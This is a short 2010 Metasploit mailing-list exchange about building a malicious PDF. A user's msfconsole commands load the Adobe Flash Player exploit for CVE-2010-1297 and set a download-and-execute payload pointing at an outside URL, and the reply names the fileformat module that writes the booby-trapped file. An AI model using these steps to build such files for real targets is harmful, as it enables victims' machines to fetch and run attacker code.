Metasploit mailing list archives

Re: How to save exploit+payload to file?


From: egypt () metasploit com
Date: Thu, 17 Jun 2010 09:05:58 -0600

Use exploit/windows/fileformat/adobe_flashplayer_newfunction instead
of .../browser/...

Hope this helped,
egypt

On Thu, Jun 17, 2010 at 7:32 AM,  <polychrom () fastmail fm> wrote:
Have read manual, but didn't find one thing, how to save exploit with
payload to PDF file? Perhaps I missing something.
Example: CVE10-1297

msf > use exploit/windows/browser/adobe_flashplayer_newfunction
msf > exploit(adobe_flashplayer_newfunction) > set PAYLOAD
windows/download_exec
PAYLOAD => windows/download_exec
msf > exploit(adobe_flashplayer_newfunction) > set URL
http://domain.com/test.exe
URL => http://domain.com/test.exe

-> next, how to save resulting PDF to file?

There is generate [options] command, but generates not to PDF file, it
prints output on screen in ruby, perl, c, or raw. And only payload
itself, with no connection with specific exploit. Anybody know how to
achieve this?

Thanks.


--
http://www.fastmail.fm - Does exactly what it says on the tin

_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework


_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework


Current thread: